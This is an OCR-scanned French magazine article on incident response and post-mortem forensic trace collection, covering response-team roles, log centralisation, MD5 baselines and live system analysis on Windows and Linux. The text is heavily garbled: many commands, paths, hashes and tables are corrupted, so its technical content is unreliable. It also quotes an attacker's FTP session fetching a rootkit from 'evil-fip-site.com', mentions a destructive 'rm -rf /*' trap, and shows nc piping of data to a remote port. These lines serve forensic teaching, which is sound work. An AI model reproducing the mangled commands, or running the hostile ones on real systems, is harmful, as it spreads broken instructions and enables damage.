privées et que leur acces par un autre utilisateur est interdit,
quand bien méme l'acces a ces donnees ne serait pas protege |
B les régles d'utilisation s'apparentent a un vague code
d'utilisation sécurisée des ressources, tant d'un point de vue
des utilisateurs que des administrateurs. En outre, cette partie
identifie de maniere fonctionnelle qui est autorise a effectuer
certaines opérations particulierement sensibles, tels que des
audits de sécurité, la création de comptes, etc.

B lcs aspects légaux renvoient aux lois applicables dans le
domaine de la sécurité informatique.

La mise en place d'une telle charte est importante car non
seulement elle permettra d'entamer des poursuites dans de bonnes
conditions. mais également parce qu'elle responsabilise les
utilisateurs et administrateurs.

CREATION D'UNE RESPONSE TEAM

Une structure de réaction aux intrusions doit étre définie. Elle a
pour role d'une part d'organiser les opérations de réponse (de la
réception d'appels 4 la restauration) et d'autre part d'etablir a
chaud la stratégie a adopter face a l'incident. Ideéalement, sa
composition répond au schéma donne a la Figure 1.

Le fonctionnement de la structure suit la procedure suivante :




Collecte des traces post-mortem

d'interconnexion

(routeurs
commutateurs), les éléments de sécuriteé

ou

(firewalls, IDS voire honeypots), les

composants d'authentification (serveurs
RADIUS), etc.

Il est par conséquent indispensable que ces
éléments non seulement enregistrent les

informations mais également que ces

Comité de direction
[ RSSI | | Direction Générate |
| Resp. Stratégique |
I
[ Hot-Line I I Experts Sécurild ! l Opérations I I Ralstors Publquos I | DAF |

dernicéres soient stockées dans un endroit
"slr", c'est-a-dire a 1'abr1 des éventuelles

| modifications. La solution généralement

|
Organisation d’une Response Team

retenue est la mise en place d'un serveur
de logs sur lequel sera centralisé 'ensemble
des messages. Cette solution, relativement

== - e - - — =

M Les alertes sont remontées 4 la Hot-Line. Cette demigre effectue
les premieres opérations de qualification. Si a ce stade une
intrusion est toujours possible, le dossier est transmis aux experts
sécurité et le responsable technique de la Team est prévenu.

B L es experts qualifient I'incident. Si 'intrusion est avérée, le
responsable technique remonte les éléments au RSSI. Ce dernier
a la charge d'informer le comité de direction de la Team.

Ce comite doit étre a méme d'évaluer l'impact de l'intrusion,
tant en termes financiers qu'en termes d'image (d'oti la présence
d'un representant de la direction administrative et financiére
- DAF - et d'un représentant des relations publiques). De cette
¢évaluation dépend la stratégie globale adoptée face a l'intrusion.

B ['ensemble des equipes est informé de cette stratégie et
agissent en conséquence, a savoir :
* les équipes de la hot-line informent les utilisateurs, en
fonction de la politique de communication interne ;

® les experts définissent et appliquent un plan d'action,
permettant de répondre aux critéres de sécurité et de délai
de rétablissement ;

¢ le responsable des opérations adapte la chaine de
production, ou plus simplement il définit les opérations
pouvant étre effectuées en attendant que le systéme cible soit
retabli, ce afin de réduire un maximum les pertes liges a
I'indisponibilité de ce dernier ;

¢ le DAF débloque les moyens financiers nécessaires, en
particulier 8’1l a été décidé de faire appel a des prestataires
exterieurs

¢ le responsable des relations publiques communique (ou
non), en fonction de la stratégie décidée par le ComDir.

3ien entendu les experts techniques tiennent informé le ComDir
le toute détive (délais de rétablissement, propagation de I'intrusion,
tc.) afin que ce dernier puisse adapter la stratégie en conséquence.

-NREGISTREMENT DES EVENEMENTS

3ien que ce soit une évidence, la qualité d'analyse post-mortem
lepend fortement des logs qui auront été générés sur le systéme
ible, aussi bien que sur l'ensemble des composants par lesquels
‘attaque a transite. 1l s'agit en particulier des équipements

simple a mettre en oeuvre, présente
cependant deux inconvénients majeurs. Le premier est la charge
potentiellement importante sur le réseau (d'ou la nécessité d'utiliser
un réseau ouf-of-band, efficace mais onéreux...), le second est
que la redirection est simple a identifier pour un attaquant et que
ce dernier s'acharnera alors sur le serveur de logs...

Le paramétrage des logs et leur redirection demande une bonne
connaissance de chacun des systémes et applicatifs concernés.En
effet, si dans le cas de serveurs Unix, I'ensemble des événements
systeme est enregistré dans le syslog local, chaque application
met en oeuvre un mecanisme spécifique tant pour le niveau
d'information généré (debug, warning, error ou équivalent) que
pour sa cible d'enregistrement (fichier, sys1og, base de données).
Dans tous les cas, I'idéal est de rediriger les logs des applicatifs
vers le sys1og local. Une telle opération est en général réalisable
en "pipant” la sortie des logs vers le Togger interne. Une fois
l'opération effectuée, il devient trivial de copier I'ensemble des
entrées du syslog sur un serveur de syslog distant.

Dans le cas de systemes Microsoft, le seul outil de centralisation
des événements est I'Event Log. Une fois les paramétres d'audit
de Windows spécifiés, ces informations peuvent étre redirigées
sous forme de traps SNMP vers un systeme distant. Cette
operation s'effectue via la commande evntwin. Cette solution
présente l'avantage d'étre native a partir de Windows 2000. En
revanche pour des raisons d'homogénéité des données, une
solution de redirection des événements en syslog telle que
EventReporter de la société Adiscon [2] est peut-éire préférable.

De nombreux exemples de mise en place de redirection de logs
sont disponibles a I'URL [1].

EMPREINTES DU SYSTEME DE FICHIER

La corruption de I'intégrité d'un systéme passe la plupart du temps
par la mise en place d'un rootkit. Une fois cette horreur en
place , il est particulierement difficile d'identifier quels composants
du systéme ont été remplacés par une version “trojanée”. Pour
se prémunir de cefte mauvaise surprise, une précaution essentielle
est de générer une empreinte irréversible des composants critiques
du systéme deés son installation.

Une telle empreinte est généralement créée via l'algorithme de
hashage MDS5 [3] puis stockée sur un médium en lecture seule.
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Typiquement, on utilisera la fonction md5sum sous Unix selon le
schéma suivant.

1. Création d'un fichier critical.list contenant la liste des
fichiers dont on souhaite générer une empreinte.
[root@localhost rootl# cat > /tmp/eritical.list

fete/sysconfig/ipehaing

/etc/passwd

/etc/shadow

[root@localhost root]e

2. Génération des empreintes dans un fichier eritical. mds
[root@lecalhost rootl# mdbsum ‘cat /tmp/critical.list’ >
Jtmpferitical .mds

[root@localhost rootl# cat /tmp/critical.mds

35053392 1aBacafas3bddeRdda75791a  Jete/sysconfig/ipchaing
ecech?B775cafb687044e5069425525 feto/shadow
£483907533704eb11c13b16c76f74328 fetc/passed

[root@localhost root]#

3. Stockage du fichier critical.md5 et d'un mdSsum lié
statiquement sur un CD et suppression des fichiers
/tmp/critical.®

4. Comparaison réguli¢re de I'empreinte a partir du mdSsum
du CD.

Pas de modification

[root@localhost root]# /mnt/cdrom/bin/mddsum -c
[mnt/cdrom/serverl/critical.mdb

fete/sysconfig/ipchains: OK

fetc/shadow: OK

fetc/passwd: OK

[root@localhest rootls

Fichier modifié
[root@localhost root]# /mat/cdrom/bin/md5sum -c
fmnt/cdrom/serverl/critical .md5

fete/sysconfig/ipchains: OK

/etc/shadow: OK

fetc/passwd: FAILED

md5sum: WARMING: 1 of 3 computed checksums did NOT match
[root@localhost root]#

La fonction mdssum ne génére des empreintes qu'en fonction du
contenu du fichier en question et uniquement via l'algorithme de
hashage MDS5. Il est cependant possible d'une part de genérer
une empreinte a partir d'autres caracteristiques du fichier, telles
que l'inode, les dates de création / modification / acces, les droits
ete. En outre l'utilisation de différents algorithmes permet d'une
part de réduire les risques de collision et d'autre part de gencrer
des empreintes moins stres (CRC 16 ou 32 bits) mais pouvant
ére recalculées plus souvent compte tenu du fait qu'ils sont
beaucoup moins consommateurs de CPU.
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Si cette étape de génération d'empreinte n'est pas complexe d'un
point de vue technique, elle n'en reste pas moins contraignante
dans la mesure ou d'une part, 1l est nécessaire d'effectuer cette
prise d'empreinte sur un systéme "propre”. et donc géncralement
avant sa mise en production, et d'autre part parce qu'elle nécessite
une gestion trés précise des modifications apportées a ces
systemes. Dans le cas de mise a jour par exemple, il est
indispensable de ne régénérer que les empreintes des nouveaux
fichiers, les anciens sont peut-étre déja corrompus, allez savoir...

SYNTHESE

La phase d'organisation préliminaire est essentiellement une
phase organisationnelle, lourde et contraignante a mettre en place.
En revanche, elle s'avére un atout indispensable pour la suite des
événements. Bien entendu, il convient de l'adapter aux besoins
et a la taille des entreprises, et plus particulierement a la criticite
des systémes pouvant étre corrompus.

DETECTION ET QUALIFICATION

CANAUX DE DETECTION

On appelle "canaux de détection” les moyens par lesquels un
incident peut étre remonteé a la "hot-line". Les principaux canaux
d'alerte sont :

M |es utilisateurs, se plaignant d'un fonctionnement inhabituel
de leur station de travail, des applications auxquelles ils
accedent, etc. ;

B les administrateurs, ayant détecté une anomalie ou un
dysfonctionnement a priori mexplique ;

B les outils de détection et d'analyse, tels qu'une alerte générce
par un IDS ou un outil de corr¢lation de logs |

B un organisme extérieur, faisant part d'un comportement
anormal en provenance d'un élément du SIL.

La prise en compte de l'incident doit intégrer un coefficient de
fiabilité du canal. Sans surprise, il est généralement admis que
le canal le moins fiable est l'utilisateur, suivi de pres par les outils
de détection et d'analyse. Cela signifie que la qualification devra
étre d'autant plus méticuleuse que la seule observation du
phénomeéne provient d'un utilisateur dont le dernier appel au
support était li¢ au fait qu'il prenait son lecteur de CD-ROM pour
un porte-gobelet. ..

QUALIFICATION

Le role de la phase de qualification est crucial dans la mesure ou
cette derniére décide de I'escalade du cas jusqu'au ComDir de la
Response Team ou de son classement sans suite. Une erreur
d'appréciation peut donc avoir de facheuses conséquences, dans
un cas comme dans l'autre.




Collecte des traces post-mortem

Afin de pouvoir prendre une décision, il est donc indispensable
de disposer d'une interview compléte des personnes ayant observé
le phénomene, de traces de ces observations, ainsi que de
I'ensemble des informations concernant le systéme suspecté ainsi
que son environnement.

Interview des observateurs

Ces interviews ont pour objectif de répondre aux questions
"quand". "comment” et "quoi", ce indépendamment du canal de
detection (cela dit. si ce dernier est un IDS, le terme employé
sera "analyse" de l'observateur).

B QUAND a ¢té effectuée la premiére observation ? Y en a-
t-il eu d'autres ? Dans quel intervalle de temps ?

B COMMENT a été effectuée l'observation ? Etait-ce lors
d'une opération courante ?

B QUOI ou que s’est-il passé ? Quels sont les symptomes de
I'incident ? Pourquoi a-t-il été interprété comme un incident
lié a la sécurité ?

Ces interviews (ou analyses) doivent étre d'autant plus poussées
que le canal est considéré comme fiable ou non. La gestion d'un
historique des alertes remontées par canaux s'avére également
d'une aide particulierement précieuse. par exemple dans le cas d'un
[DS mal paramétre, ou d'un utilisateur un peu trop paranoiague.

[races des observations

Lorsqu'une observation est effectuée par hasard par un utilisateur,
1l est relativement rare que ce dernier pense & en garder une trace
telle qu'une copie d'écran). Qui plus est, si le phénomene est
reproductible "a volonte", il y a fort a parier qu'il s'agisse plutot
d'un bogue. En revanche, dans le cas d'une observation effectuée
par un outil ou par des professionnels, des traces (bien souvent
plus intéressantes qu'une capture d'écran) sont probablement
lisponibles et vont permettre d'accélérer le processus de
qualification.

nformations d'environnement

L'apphication récente d'un patch, une modification d'architecture
eseau, la mise en place d'une opération récurrente (sauvegarde,
rolling SNMP) sont autant de potentielles causes d'un
lysfonctionnement pouvant étre interprété comme une alerte de
ecurite.

De méme, la localisation de la potentielle cible dans I'architecture
lu S1 peut faciliter la qualification de I'événement. Ainsi, un
erveur Linux de tests mis sauvagement en place sur une DMZ
xposée aux flux provenant d'Internet est un candidat bien plus
iable qu'un serveur de production au fond d'une usine, tournant
sur un OS dont on ne connaissait pas l'existence la veille et
-onnecte une fois par jour au hackbone de l'entreprise par RNIS
your récupérer le fichier des composants a fabriquer le lendemain.

Les informations d'environnement sont donc également des
‘léments importants dans la prise de décision qui va suivre.

PRISE DE DECISION

Une fois I'ensemble des éléments a la disposition des équipes, il
est temps de prendre une décision quant a l'escalade du cas. Une
telle décision se prend par défaut et en fonction d'un seuil de
risque le plus souvent lié a la culture d'entreprise. Plus
prosaiquement, la décision d'escalader le cas se prend en fonction
des chances qu'il y a qu'il ne s'agisse pas d'un incident de sécurité.
La phase de qualification permet d'évaluer cette probabilité.

S’il s'avére que le scan de port récurrent identifié grice aux logs
du firewall est le fait d'un contrat passé récemment avec un scanner
de vulnérabilité en mode ASP, la probabilité (qu'il ne s'agisse pas
d'un incident de sécurité) est de 100%. Personne ne bouge.

Si un serveur de production peu exposé reste bloqué a une utilisation
CPU de 100%, la probabilité peut étre de l'ordre de 75%. Une
banque, une industrie ou une administration sensible escaladera
le cas. Les autres attendront en général de nouvelles observations.

Si des flux en provenance d'un serveur de développement sous
Windows avec IS non patche en DMZ et a destination d'Internet
sont bloqués par le firewall, cette probabilité est vraisemblablement
inférieure a 5%... et la tout le monde devrait réagir.

STRATEGIE DE REPONSE

COMPOSANTES D'UNE STRATEGIE
DE REPONSE

Une fois le cas escalade, le ComDir de la Response Team se doit
de déterminer la réaction a mettre en ocuvre. Outre les éléments
recoltes lors de la phase de détection et de qualification, il est
¢galement indispensable de disposer d'informations concernant
la criticité du systéme suspecté afin d'évaluer I'impact d'une
interruption de service du systéme.
A partir de I'ensemble de ces éléments, la stratégie de réponse
doit adresser les 3 points suivants

W nécessité et urgence de remise en production ;

B implication des relations publiques :

B volonte de poursuivre légalement l'intrus.

Bien entendu, ces trois points sont intimement liés. Il est en effet
difficile d'imposer une restauration du systéme dans les 5 mn tout
en demandant des preuves irréfutables pour mener des poursuites
judiciaires, et sans communiquer officiellement sur I'incident...

REMISE EN PRODUCTION

La remise immédiate en production interrompt évidemment
I'analyse de preuves et interdit de facio toute tentative d'analyse
"off-line" du systeme. En revanche son maintien sur une durée
limitée en mode dégradé présente l'avantage de laisser le temps
pour la récupération des données volatiles, mais également
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d'effectuer une copie fiable des médias pour une analyse en
laboratoire. Enfin, de nouvelles observations peuvent étre
effectuées si l'intrus continue a opérer sur le systéme en question.
Il est également possible de prévoir un retour en conditions
opérationnelles & I'issue d'un certain delai d'analyse, ce dernier
étant annulé en cas de détection d'une nouvelle action telle que
l'attaque d'une nouvelle plate-forme a partir du systeme corrompu.

RELATIONS PUBLIQUES ET POURSUITES

Si l'intrusion est visible depuis l'extérieur (en particulier en cas
de défacement du site Web), 1l sera indispensable de communiquer
d'une maniére ou d'une autre sur l'incident. En revanche, si
l'incident est resté cloisonné, il sera nécessaire de prendre en
compte les besoins de transparence vis-a-vis des clients et
fournisseurs de l'entreprise, les éventuels risques de fuite et de
trouver un eéquilibre avec I''impact potentiel d'une annonce pouvant
nuire a 'image de I'entreprise.

Enfin, la volonté de trainer l'intrus devant les tribunaux doit
également étre considérée comme un acte relevant des relations
publiques. En effet, hormis dans le cas ou l'intrusion a
effectivement causé des dommages financiers importants
(directement ou non), les poursuites judiciaires permettent de
montrer a la face du monde que I'on ne s'attaque pas impunément
a l'entreprise, que cette derniére est vigilante et qu'elle met en
oeuvre les moyens de préserver l'intégrité et la confidentialite de
ses données.

ANALYSE

PREPARATION DE L'AUDIT

Enfin, l'analyse du systeme corrompu peut commencer. Son cadre
est maintenant défini et 'auditeur sait ou il va et avec quels
moyens. Cependant, un certain nombre de precautions restent a
prendre avant de se lancer téte baissée dans l'audit du systeme.
En effet, i1l faut avant tout disposer d'un foelkit, spécifique a
chaque OS. et d'une machine dédice sur laquelle seront
enregistrées les preuves récoltées. Le toolkit en question doit
comporter l'ensemble des binaires nécessaires aux opérations et
liés statiquement. Cette précaution est nécessaire a deux titres.

D'une part, si le systéme a été “rootkité™, la majeure partie des
binaires et bibliothéques ont probablement été remplacés par des
versions corrompues. Ainsi, un ps aux ne fera jamais apparaitre
les processus lancés par I'intrus en tiche de fond. Idem pour les
s, netstat, 1sof et autres md5sum (ou leur équivalent sous
Windows). Aucun de ces programines corrompus ne trouvera de
traces d'intrusion, et pour cause...

D'autre part, un intrus avec un sens de I'humour subtil et glacé
pourrait bien remplacer le /bin/1s par un programme effectuant
un simple rm -rf /*. L'audit risque alors de tourner court...

ORDONNANCEMENT DES OPERATIONS

Idéalement, un audit post-mortem devrait suivre les €tapes
sutvantes :

B mise en place d'une analyse réseau |

B récupération des données volatiles et analyse "live" du

systeme ;

B copie des données ;

B déconnexion / arrét du systéme ;

H analyse "off-line".
Les opérations de sécurisation et de restauration ne devraient
normalement (hors contraintes de delai) pas commencer avant

la phase de copie des données. En théorie. elles devraient méme
attendre le rapport d'audit définitif.

MISE EN PLACE D'UNE ANALYSE RESEAU

Cette premiére étape augmente l'efficacité de l'audit en fournissant
des informations sur les connexions en cours en provenance et/ou
a destination du systéme cible. Ainsi, si l'intrus est toujours actif,
il sera possible d'analyser son comportement. En outre, la
caractéristique des flux peut donner un indice sur les malversations
qui ont été opérées sur le systéme. Par exemple, la détection de
flux TCP stateless entre les ports 47.000 et 48.000 indique avec
une forte probabilité que le rootkit t@rn (ou son successeur bob)
est installé sur la machine.

Flux TCP standards

Cette analyse est une opération habituelle, l'objectif étant
généralement d'analyser les connexions vers l'extérieur depuis
la machine corrompue, et plus particuliérement les flux FTP. En
effet, il est fréquent que suite & une intrusion le "hacker” aille
récuperer ses outils sur un site extérieur.

Pour effectuer cette opération, on pourra par exemple utiliser
I'analyseur Ethereal [4] fourni en standard avec un plug-in de
"reconstruction” des sessions.

La session suivante, fracee avec ethereal

[root@localhost root]# fip evil-fip-site.com

Connected to evil-fip-site.com (194,174.194.128).

228 ProfTPD 1.2.5 Server (ProFTPD} [194.174.194.120]

Name (eyil-ftp-site.com:root): hb

331 Password required for hb,

Passward:

230 User hb Togged in.

Remote system type is UNIX,

Using binary mode to transfer files.

fip> cd /tools

250 CWD command successtul.

ftp> get rompigema.tar.gz

Tocal: Trkb.tar.gz remote: Trkh. tar.gz

227 Entering Passive Mode (194,174,194,120,14,226).

MISC ¢



Collecte des traces post-mortem

150 Opening BINARY mode data connection for rompigema.tar.gz (1655
bytes).

226 Transfer complete

1655 Dytes received in @.0114 secs (1.4e+82 Kbytes/sec)

fip> bye

221 Goodbye.

[root@localhost rootl#

donnera le résultat suivant présenté en figure 2.

On remarquera tout de suite les éléments intéressants tels que le
login et le mot de passe... que l'auditeur NE sera PAS tenté
d'utiliser pour aller jouer sur le serveur de I'intrus. De méme la
trace de la session FTP-DATA permettra de reconstituer le fichier
récupere sur le site.

Canaux cachés (covert channels)

Les communications TCP “standard" étant facilement
détectables, certains mecanismes ont été implémentés pour
masquer aux yeux d'un analyseur les échanges entre un client et
un serveur. Outre les mécanismes de chiffrement, on trouvera
différentes méthodes telles que les communications TCP stateless
qui n'établissent pas de session, I'encapsulation de commandes
dans des flux ICMP, HTTP, etc., ou encore l'utilisation de codes
fondes sur le délai de réception entre deux paquets ou la valeur
d'un numero de séquence.

Le seul moyen efficace d'identifier les éventuels canaux cachés est
de détecter les phenomenes récurrents. Ainsi, des pings répétés en
provenance d'une source non identifiée peuvent étre caractéristiques
d'une encapsulation ICMP. Une fois ce travail effectug, il reste &
analyser le contenu des communications suspectes. Dans le cas de
covert channels simples (stateless TCP ou encapsulation), les
commandes apparaissent généralement en clair bien que souvent
fragmentées dans différents paquets. Dans les autres cas, elles sont
probablement irrécupérables a ce stade de l'audit.

RECUPERATION ET ANALYSE
DES DONNEES VOLATILES

Mode de récupération

Les données volatiles sont les informations qui ne peuvent étre
obtenues que lorsque le systéme est en fonctionnement. Ces
données doivent étre sauvegardées sur un meédium indépendant
du systeme étudié (disquette, ZIP, réseau, ete.). Dans le dernier
cas (transmission par le réseau). une solution simple et efficace
consiste a mettre la machine d'audit en écoute sur un port
quelconque puis de rediriger les données vers un fichier ; nc -

-p 1608 >> /tmp/victime.audit. Sur le systeme audité, chaque
commande sera simplement "pipée" vers l'adresse et le port de
la machine d'audit : C:>hostname | nc 192.168.08.2 1688.

La tenue d'un cahier d'opérations est indispensable. Ce demier
doit décrire, pour chaque opération, la date et I'heure, la ligne de
commande exécutée, l'endroitl ou la sortie a été stockée et une
empreinte de cette sortie.

.’0 l"i‘(lr'rl‘i' 1 2 5 ’er.rer iProFTP:)- = I I I T
JEER i

il Pazsword reguired forhb. o

£25 humanbomb o

230 user ho Togged im0

.,15 l. II‘< Type LB
CwD Cronls
250 WD command succassful. o
Fasya
’27 Enrer1-—.:| Passive Mode (194,174, 194,120,14,1660. 40
LI
‘iLl Opernng ASCIY mode data conmestion For F1le Tisto
226 Transfer complete. o
YPE 10
200 T_-,,p= Set to 1.9
Pas
227 Er‘ter'ing Passive Mode (194, 174,194,120,14,167).
RETR rompigema, tar.gze
50 opening BIMARY mudc— data connection For rompigema. tar gz (1855 bytasi. b
2F6 Transfer complete,

Entira conversation (1456 bytes)
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Informations sur le systéme
1. Identification

Les besoins d'identification du systéme sont évidents. Les
informations d'identification récupérées et les commandes utilisées
sont :

Information WindowsNT/2000/XP Linux

Nom du systéme hostname uname -a
Systeme et version| ver

Date et heure date /T & time /T date
Parametres réseau | ipconfig | find "Adress” | ifeonfig |grep "inet addr"

B T

Les résultats obtenus sous Windows seront de la forme :

B1/87/2083

B9:43

SeveurCible

Microsoft Windows XP [version 5.1.2608)
Adresse IP. . . . . .. . .. L : 192.168.8.1

et sous Linux ;

1 89:43:12 CEST 2003

Linux serveurcible.domainecible.com 2
2081 1686 unknown

inet addr:192.168.8.1 Bcast:192,168.8.255 Mask:255.255.255.4
inet addr:127.0.8.1 Mask:255.6.0.9

Tue Ju

A4.7-10 #1 Thu Sep 6 17:27:27 EDT

2. Configuration

Garder une trace de la configuration du systéme est nécessaire
pour I'étape de sécurisation. En effet. les versions des applications.
les utilisateurs et les droits associes, les partages cte. sont autant
d'indices qui permettront d'identifier les failles et de les corriger
avant la remise en production du systéme.
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Les informations de configurations sont obtenues via les
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commandes suivantes.

Patches / Hotfixes

Information WindowsNT/2000/XP Linux
Uptime psinfo -5 -h * uptime
Applications installées rpm -ga ¥

Services en exéeution

psservice *

chkconfig --1ist *x*

Configuration réseau

ipconfig /all

ifeonfig -a

netstat -arn

Users Togged on via resource shares:
{nul 1) \KENNY

B1/07/2803 18:59:30

Table de routage route print

Stratégic d'audit auditpol *¥+*

Stratégie
de mots de passe erum -P SHOSTR *+++
enum -L FHOSTE *=ek

enum -G BHOSTS wevk

Informations |
de mise i jour hfnetchk -wv up2date -} ***

cat t/etc/pam.d/passwd 0+

Comptes utilisateurs cat /fetc/passwd

Groupes cat /etc/groups

* Outil SysInternals [5]
*% 81 rpmaete utilise pour les mstallations
##% Specifique RedHat
##=% Outil du Ressource Kit I

#EFE S PAM est utilisé I

1 ] i~

Analyse des evenements
1. Activité

Analyser l'activité en "live" du systeme permet d'une part de
détecter la présence de l'intrus, et par conséquent de tracer ses
opérations, et d'autre part d'identifier les processus et
communications lances par ce dernier. Les informations
récupérées et les commandes associées sont les suivantes :

Information WindowsNT/2000/XP Linux
Utilisateurs connectés pslogaedan * W
Processus en exéeution pslist * ps aux

Sockets ouvertes netstat -an netstat -anpbim
Processus propriétaires des sockets fport ** |
Table ARP arp -a arp -3

* Qutil Sysinternals [5]
*+ Outil FoundStone [6]

Les resultats obtenus sous Windows seront de la forme suivante
(les informations caractéristiques sont marquees en rouge) :

Users Togged on locally:
91/87/2063 11:06:23  SERVEURCIBLE\Administrateur

MISC 9

ame Pid Pri Thd Hnd
Idle g8 1 4@
Systen 8 8 3 178
SMSS 144 11 6 B
<-- skip -->

inetinfo 818 8 26 532
svchost 1652 8 6 205
trojan B3 8 7 o
explorer 1280 8 13 286
igfxtray 1716 8 2 B4
<-- skip -->

pslist P16 13 2 95
Connexions actives

Proto Adresse Tocale

Tep
Tep
op
TP
oe
(5
Tep
P
P
P
I

Pid
840
B4g
302

2013
392

8.0.8.0:21
3.0.0.0:80
0.0.0.0:135
0.0.0.0:445
0.0.0.8:3600
192.168.8.1:139
192.168.8.1:139
0.8.8.8:13%
0.9.0.8:137
§.8.0.08:13
0.9.0.8:445
Pracess Fort
inetinfo > 71
inetinfo -> il
sychost > |3
system > 139
System -> 45
trojan -> 3680
svchiost -> 135
System - 137
System > 138
System > M5

fem  User Time

lia

216
376

0:00:08.000
0:00:08.815

10028
8524
7696
8644
3816

0:{tB:15.156
{-0:00.093
0:00:80.109
0:08:01.203
0:00:00.831

1712 6:00:08.031

Adresse distante
6.0.0.0:0
8.0.0.0:0
0.0.0.0:0
0.0.0.0:0
B.0.8.0:0
0.0.6.0:0
194.68.132.12:2158
t:?’:

*:*

i.'*

%ok

Proto Path
TCP
TCP
TGP
TCP
CP
ugp
Lop
Uop
Lpp

Interface : 192.168.8.1 on Interface @x10803

Adre
192,
192.

sse [nternet
168.0.12
168.0.254

Adresse physique
0f-94-76-50-1c-77
(13-80-cB-ha-bd-6a

Type

Kernel Time

6 0:00:08.000 331:16:59.859

0.02:27.937
0:00:00. 156

0:10:55. 648
10840, 187
P:17:48.640
0:00:86.783
{:80:84.,187

B:80:00. 046

Etat

LISTENING
LISTENIHG
LISTENING
LISTENING
LISTENING
LISTENING

Elapsed Time
334:29:45.609
334:29:45.609
334:29:05. 609

334:28:33.703
312:27:48.312
248:26:20.,859
f:28:24.812
p:28:21.078

0:80:00.978

ESTABLISHED

P C:\WINNT\system32\trojan,exe
Co\MINNT\system32\svchost . exe

dynamique
dynamique

C:AMINNTASystem32\inetsrv\inetinfo.exe
C:\WINNT\Systemd2\inetsry\inetinfo.exe
C: \WINNT systemd2isvchost.exe




Collecte des traces post-mortem

et sous Linux :

USER  TTY  FROM LOGING TDLE JCPU  PCPU WHAT

reot  pts/d @ f:50am  G.00s 0.055 B35 w

bemny pts/l 1946813212 5:3%am G.00s 0.7 0.84s tar -xvzf rovpigems.tar.gz

LSER PID %CPU %MEM VST RSS TTY STAT START  TIME COMMAND

root 1 6.0 0.0 1416 682 S Junl3 683 init

root ¢ a6 00 8 07 SWooJunl3 @00 [keventd)

root jpngs 8 B? SW o Junl3  @:8@ [kapm-idled]
root 100 68 8 @7 SUN Junl3  B:@8 [ksoftirgd_CPU]
o skip el

root 452 6.8 8.8 @ 87 I Jumdd  0:08 trojan

root 4912 §.8 0.4 1656 520 ? § B2 500 Togger

root 5077 0.0 1.3 3644 1676 ? S B6:50 &80 Jusr/shin/sshd
root 5127 0.0 1.8 25% 1384 pts/@ S #5:32 0:00 -bash

root 5127 8.0 1.8 2550 1384 pts/l S @6:50  0:00 -bash

<-- skip -->

root 034 0.5 0.6 2708 772 pts/l R 06:55 :00 ps aux

Proto Recy-0 Send-0 Local Address  Foreign Address  State PID/Program ngme

tep ] 00.0.0.0:820  0.6.0.0:% LISTEN  1118/xdn
tep g 00.0.0.0:88 0.0.6.0: LISTEN  9118/httpd
tep g 00.0.0.5:3688 0.0.6.0:% LISTEN  4552/trojan
tep 0 ¢ a.0.6.0:22 £.0.8.0:% LISTEN  BBd/sshd
tep ] 0 8.0.0.0:443 £.0.0.0:% LISTEN  9118/httpd
&p 0 144 192.166.0.1:02 194.68.132.12:1258 ESTABLISHED 22877/5snd

7(192,168.8.1) at 08:00:39:56:36:08 [ether] on ethd
routeur.chezmoi . com (192,168.8.254) at @:B0:08:64:B4:68 [ether] on ethd

Une premiére analyse laisse apparaitre clairement les traces d'une
intrusion (presque trop clairement d'ailleurs). Dans chacun des
cas, une connexion est ¢tablie depuis la machine 194.68.132.12
(montage Netbios dans le cas Windows, connexion SSH dans le
cas Linux) par l'utilisateur "kenny".

Ce dernier (si on considére qu'il est le seul 4 étre rentré sur le
systéme) a installé et lancé un cheval de Troie nommé "trojan"
ecoutant sur le port TCP/3600. Dans le cas Windows, il a le PID
2013 et est exécuté depuis un peu plus de 240 heures. Sous Linux
son PID est 4552, et il tourne en tant que root depuis le 30 juin.
Un ¢lément important est le fait que dans chaque cas, le trojan a
¢te en exécution sur une durée inférieure a 'uptime du systéme
(1d1¢ est lancé depuis environ 335 heures sur Windows et init
a et¢ lancé le 13 juin sur Linux). Par conséquent, il est possible
de faire une premiére évaluation de la date de l'intrusion.

Au passage, on remarquera que l'intrus est actuellement connecté,
via un montage Netbios sur la machine Windows et via SSH sur
la machine Linux.

2. Historigue

Retracer |'historique des opérations fournit des informations sur
les différentes malversations effectuées par l'intrus, et par
conséquent facilite d'une part l'identification de la faille exploitée
par ce dernier, et d'autre part la détection des chevaux de Troie
et autre rootkits potentiellement en place.

Information WindowsNT/2000/XP Linux

Connexions locales ntlast -v * Tast -f /var/log/wtmp **

Connextons distantes ntlast -r -y *

Echees de connexions ntlast -f -y * voir fichier syslog
yslog

Fichiers accédes

depuis l'intrusion afind / -d <nb de jours> * 15 -g]Ry wex |
Date de derniére

connexion

de chague unlisateur lastlog

Derméres commarnides

passces history

* Ounl FoundStone [6]
** a effectuer sur chaque fichier wtmp |

% ne permet pas de filtrer sur la date |

Informations historigues

———

Les principales informations d'historique et les commandes
correspendantes sont les suivantes :

Les résultats obtenus sous Windows seront de la forme suivante :
Recard Number: 141

ComputerName: SERVEURCIBLE

EventID: 528 -  Successful Logon

Logon: Tue Jul 81 11:68:224m 2063

Logoff: Not Recorded

Details -
CTientMame: Administrateur
(lientID: (Bx8, 0x1370144)
ClientMachine: SERVEURCIBLE
ClientDomain;  SERVEURCIBLE
LagonType: Interactive

<=+ skip «=>

Recard Number: 149
Computerfame: SERVEURCIBLE
Event[D: 528 Successful Logon
Logon: Tue Jul @1 85:0@2:22an 2003
Logoff: Not Recorded
Details -

CTientName: kenny
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CTientID:
(1ientMachine
ClientDomain:
LogonType:

<-- s5kip -->

Record Number: 132

3

(Bx@,08x1370149)
GOINFRE

GOINFRE

Remote

ComputerName: SERVEURCIBLE

EventiD: 529

Time Attempted:

Details -
ClientName:
ClientMachine:
(TientDomain:
LogonType:

- Tue

Record Number: 109

- Failed Logon Attempt

Jul @1 19:59:1%m 2043

Human Bomb
GOINFRE
GOINFRE
Remote

ComputerName: SERVEURCIBLE

EventID; 520
Time Attempted:

- Failed Logon Attempt
- Tue Jun 24 08;07:32am 2083

Details -
C1ientMame: Human Bomb
C1ientMachine: GOINFRE
ClientDomain:  GOINFRE
LogonType: Remote
<-- skip -->»
C:\~~grosnain
sniffer.pl  @1/07/2003 85:47:19
C:\inetpubwwwroot
root.exe 20/06/2003 B2:43:86
Co\WINNT\system3Z
trojan.exe  20/66/2003 @5:43:06

et sous Limux :

drwke-xr-x 3 root rogt
drwxr-xr-x 18 root  roof
<-- skip -->
/dev/video:
total 92
drwxr-xr-x. 2 root  root
drwxr-xr-x 18 root  root
Cry-=----= 1 root root
CrW-=mnen 1 root root
Crw-- 1 root root
Y- - Lroot  root
S EEEEEE I root root
i R 1 root raot
<-- skip -->»
Username Port From
root pts/2 i
bin
